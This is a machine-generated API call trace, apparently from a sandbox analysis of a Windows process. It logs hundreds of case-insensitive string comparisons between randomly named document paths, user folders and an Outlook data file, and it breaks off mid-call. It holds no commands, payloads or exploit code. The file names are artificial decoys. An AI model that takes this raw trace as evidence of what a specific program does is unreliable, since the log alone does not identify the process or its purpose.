CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\-4NjCVEIvkCBj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="My Videos", cchCount1=-1, lpString2="My Shapes\\_private\\folder.ico", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="My Videos", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\-4NjCVEIvkCBj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\cA7tY- cuM.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\-4NjCVEIvkCBj.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="eBvOtmtGs9oVXiPynY.xlsx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="My Music", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="jYH_Ha3VQR8eB_bONWr9.pptx", cchCount1=-1, lpString2="g9y9 K 4j.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="jYH_Ha3VQR8eB_bONWr9.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\xZQ7e8.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\L_jtuZX b2fVSoNPf.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="8CFpoZ DqeCI.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\R2r4mFlAna2enKE.odp", cchCount1=-1, lpString2="8CFpoZ DqeCI.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\35mJ-.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\rDvRexnp0.xls", cchCount1=-1, lpString2="8CFpoZ DqeCI.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="XvD0nTrkTg7W8h.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.461] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.461] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.461] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="My Music", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="5YJHRW-JZoT5E S09D.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="My Videos", cchCount1=-1, lpString2="My Shapes\\Favorites.vssx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="My Videos", cchCount1=-1, lpString2="5YJHRW-JZoT5E S09D.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\iOBweAZSY.ods", cchCount1=-1, lpString2="My Shapes\\_private\\folder.ico", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="My Shapes\\_private\\folder.ico", cchCount1=-1, lpString2="5YJHRW-JZoT5E S09D.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\DLaLU5Np1FYR8L.ods", cchCount1=-1, lpString2="My Shapes\\_private", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="My Shapes\\_private", cchCount1=-1, lpString2="5YJHRW-JZoT5E S09D.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="_jIR7aHVEY1Y7.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jfYQRF.csv", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\Kin6ms4WyJhH.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="_jIR7aHVEY1Y7.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="_jIR7aHVEY1Y7.docx", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="XvD0nTrkTg7W8h.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\jLF_V3JmdmbQkD.ots", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\KzP2.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.462] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z", cchCount1=-1, lpString2="-3PSVPdo1rq8.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.462] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="XvD0nTrkTg7W8h.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="XvD0nTrkTg7W8h.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="vZ5hUHAIiw4NGepftsf.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="vZ5hUHAIiw4NGepftsf.docx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="uGw1_n9EtC7y-G8.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount1=-1, lpString2="5okJ0wdSjHps.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="Vtgh45Nfdq0.pptx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="Vtgh45Nfdq0.pptx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="uGw1_n9EtC7y-G8.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.463] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.463] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\9NEdDu7cj0FPBRK.odt", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS\\1q4uHOxj.odt", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="uGw1_n9EtC7y-G8.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="uGw1_n9EtC7y-G8.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF\\5HLd-s\\Q9 7uahS", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\l7Td5TRgfXzOW kF6H0.docx", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="rhEg_RUaix7K66ZWCFGd.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.560] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.560] CompareStringOrdinal (lpString1="NdfE2nFSq.xlsx", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="MZgybshM.pptx", cchCount1=-1, lpString2="qBs_.docx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="qBs_.docx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\WKv89hDvOzA.pptx", cchCount1=-1, lpString2="Outlook Files\\kkcie@kdj.kd.pst", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="Outlook Files\\kkcie@kdj.kd.pst", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\3k35ZmjoIQgYRoHKpmkK.pdf", cchCount1=-1, lpString2="Outlook Files", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="Outlook Files", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\Qx eo7HW.odt", cchCount1=-1, lpString2="nt5k6gcCx.pdf", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="nt5k6gcCx.pdf", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy\\5S3P3.csv", cchCount1=-1, lpString2="NdfE2nFSq.xlsx", cchCount2=-1, bIgnoreCase=1) returned 1 [0062.561] CompareStringOrdinal (lpString1="NdfE2nFSq.xlsx", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy", cchCount1=-1, lpString2="9EMbKuPh551l7_WJZv\\qfqeMqDF", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\2NOJ5\\lIHAtSXy", cchCount1=-1, lpString2="7I1yC6W53.doc", cchCount2=-1, bIgnoreCase=1) returned 3 [0062.561] CompareStringOrdinal (lpString1="MZgybshM.pptx", 